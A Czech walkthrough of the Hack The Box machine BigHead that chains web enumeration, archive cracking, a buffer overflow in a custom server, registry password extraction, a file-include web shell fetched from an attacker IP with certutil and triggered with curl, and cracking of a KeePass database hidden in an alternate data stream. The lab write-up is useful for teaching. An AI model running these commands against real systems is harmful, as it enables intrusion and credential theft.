BigHead
Úvod a kontext
BigHead je vícekrokový řetězec, kde webová enumerace rychle přechází do reverzního inženýrství a lokální práce ve Windows. První důležitá stopa neleží na hlavní stránce, ale ve vhostech dev.bighead.htb a code.bighead.htb, endpointu /coffee a veřejně dostupných archivech BHWS_Backup.zip, které prozradí implementaci BigheadWebSvr 1.0.
User část není jen o prvním shellu. Po přetečení vlastní služby je ještě potřeba z registru vytáhnout heslo k účtu nginx, přes tunel se připojit na interní SSH na portu 2020 a teprve potom zneužít linkto.php. Root část je zase cenná lekce o tom, že na Windows nejsou zajímavé jen soubory samotné, ale i alternativní datové proudy, KeePass metadata a key file.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0
|_http-server-header: nginx/1.14.0
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: PiperNet Comes
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
[14:49:59] Starting:
[14:50:15] 302 - 161B - /backend.php -> http://10.10.10.112/BigHead
[14:50:15] 302 - 161B - /backend/core/info.xml -> http://10.10.10.112/BigHead
[14:50:15] 302 - 161B - /backend_dev/ -> http://10.10.10.112/BigHead
[14:50:15] 302 - 161B - /backend/ -> http://10.10.10.112/BigHead
[14:50:15] 302 - 161B - /backend_dev.php -> http://10.10.10.112/BigHead
[14:50:23] 200 - 11KB - /index.html
Enumerace webu (2)
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
gobuster dir -u http://dev.bighead.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 40 -x php
===============================================================
/blog (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blog.php (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogs (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogs.php (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/wp-content (Status: 302) [Size: 161] [--> http://dev.bighead.htb/blog]
/wp-content.php (Status: 302) [Size: 161] [--> http://dev.bighead.htb/blog]
/bloggers (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/bloggers.php (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogger (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogger.php (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogging (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogging.php (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/bloglines (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/bloglines.php (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogcategory (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogcategory.php (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/coffee.php (Status: 418) [Size: 46]
/coffee (Status: 418) [Size: 46]
Analýza zjištění
BigheadWebSvr 1.0 a veřejné zálohy
/coffee vrací podpis BigheadWebSvr 1.0, takže má smysl dohledat jeho implementaci a analyzovat ji offline. Veřejné zálohy BHWS_Backup.zip a starší BHWS_Backup_old.zip jsou v tomhle bodě zásadní, protože dávají k dispozici konfiguraci i binárku služby.
whatweb http://dev.bighead.htb/coffee
http://dev.bighead.htb/coffee [418 Unassigned] Country[RESERVED][ZZ], HTTPServer[BigheadWebSvr 1.0], IP[10.10.10.112], Teapot[I'm a teapot]
Obnovení hesla k archivu
Cracknutí hesla k archivu zde neotevírá jen jeden soubor. Otevírá cestu ke konfiguraci a ke zdrojům potřebným pro analýzu vlastního serveru.
zip2john BHWS_Backup.zip > zip.john
Starší záloha a další heslo
Starší varianta archivu dává další heslo a potvrzuje, že vývoj služby probíhal bez rozumné kontroly nad tím, co končí veřejně dostupné.
john -w=/usr/share/wordlists/rockyou.txt zip.john
__CENSORED__
Získání přístupu
Přetečení BigheadWebSvr 1.0
Offline analýza ukázala klasické stack overflow v bHeadSvr.dll, offset 72 bajtů a použitelný JMP ESP. Tím vzniká první shell na cílovém hostu a zároveň možnost číst lokální konfiguraci Windows služeb.
offset 72 bajtů
JMP ESP => f0125062
./BigHead-exploit.py
Přihlášení na cíl
Z prvního shellu je možné z registru přečíst hodnotu Authenticate u služby nginx, dekódovat ji na heslo a přes reverzní tunel se připojit na interní SSH na portu 2020. Teprve stabilní shell uživatele nginx dává pohodlný přístup k lokálním webovým aplikacím a souborům jako linkto.php.
reg query "HKLM\SYSTEM\CurrentControlSet\Services\nginx"
echo 4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000 | xxd -r -p
ssh -p 2020 nginx@localhost # pass: H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87
$ cat /apps/testlink/htdocs/linkto.php
if(isset($_POST['PiperID'])){$PiperCoinAuth = $_POST['PiperCoinID'];
require_once($PiperCoinAuth);
certutil.exe -urlcache -split -f http://10.10.14.2:8000/win-shell-local.php win-shell-local.php
Získání user flagu
linkto.php používá require_once nad parametrem z požadavku, takže po nahrání win-shell-local.php stačí vnutit vlastní cestu a získat shell v kontextu webu.
curl -d "PiperID=1&PiperCoinID=C:\programdata\win-shell-local.php" -X POST http://code.bighead.htb/testlink/linkto.php
C:\Users\nginx\Desktop>more user.txt
Lokální stopy v profilu administrátora
Jakmile běží shell jako nginx, user.txt potvrzuje stabilní foothold a zároveň otevírá cestu k dalším lokálním artefaktům v profilu administrátora.
more user.txt
__CENSORED__
C:\Users\Administrator\Desktop>dir /ah /r
dir /ah /r
Volume in drive C has no label.
Volume Serial Number is 7882-4E78
Directory of C:\Users\Administrator\Desktop
06/10/2018 14:33 1,519 root.txt
7,294 root.txt:Zone.Identifier:$DATA
Eskalace oprávnění
Získání root flagu
root.txt zde neleží přímo jako čitelný text. Rozhodující stopou je alternativní datový proud root.txt:Zone.Identifier, který po dekódování vede ke KeePass databázi. Konfigurace KeePass.config.xml pak prozradí, že databáze používá key file admin.png, takže je potřeba získat databázi, klíč i heslo darkness.
more < root.txt:Zone.Identifier
certutil -encode root.txt:Zone.Identifier foo.txt
base64 -d foo.txt > f
file f
=> KP-database: Keepass password database 2.x KDBX
<Association>
<DatabasePath>..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier</DatabasePath>
<Password>true</Password>
<KeyFilePath>..\..\Users\Administrator\Pictures\admin.png</KeyFilePath>
</Association>
certutil -encode c:\Users\Administrator\Pictures\admin.png key.txt
keepass2john -k KP-key KP-database > KP.john
john -w=/usr/share/wordlists/rockyou.txt KP.john
kpcli --key KP-key --kdb KP-database
show root.txt -f
Shrnutí klíčových poznatků
- Rozhodující byl vztah mezi
dev.bighead.htb, endpointem/coffeea veřejnými archivyBHWS_Backup.zip, které umožnily analyzovatBigheadWebSvr 1.0offline. - User přístup nevznikl jedním klikem, ale řetězcem: shell z přetečení, dekódování hesla služby
nginx, SSH na interní port2020a zneužitílinkto.php. - Root část nestojí na další síťové chybě, ale na pochopení Windows artefaktů: ADS
root.txt:Zone.Identifier, KeePass databáze, key fileadmin.pnga výsledné otevření skutečnéhoroot.txt.
Co si odnést do praxe
- Vývojové vhosty, test endpointy a veřejně přístupné zálohy nesmějí obsahovat stejnou binárku a konfiguraci jako produkce. Jakmile útočník získá offline kopii služby, může si exploit připravit mimo cílový host.
- Hesla uložená v registru nebo služby naslouchající jen na
localhostnepředstavují bezpečnostní hranici. Po prvním shellu je lze velmi snadno převést na stabilní přístup, což zde ukazuje kombinaceAuthenticate,plinka SSH na:2020. - Na Windows je potřeba auditovat i alternativní datové proudy a správce hesel.
Zone.Identifier,KeePass.config.xmla key fileadmin.pngvypadají nenápadně, ale dohromady otevřely cestu k finálnímu tajemství.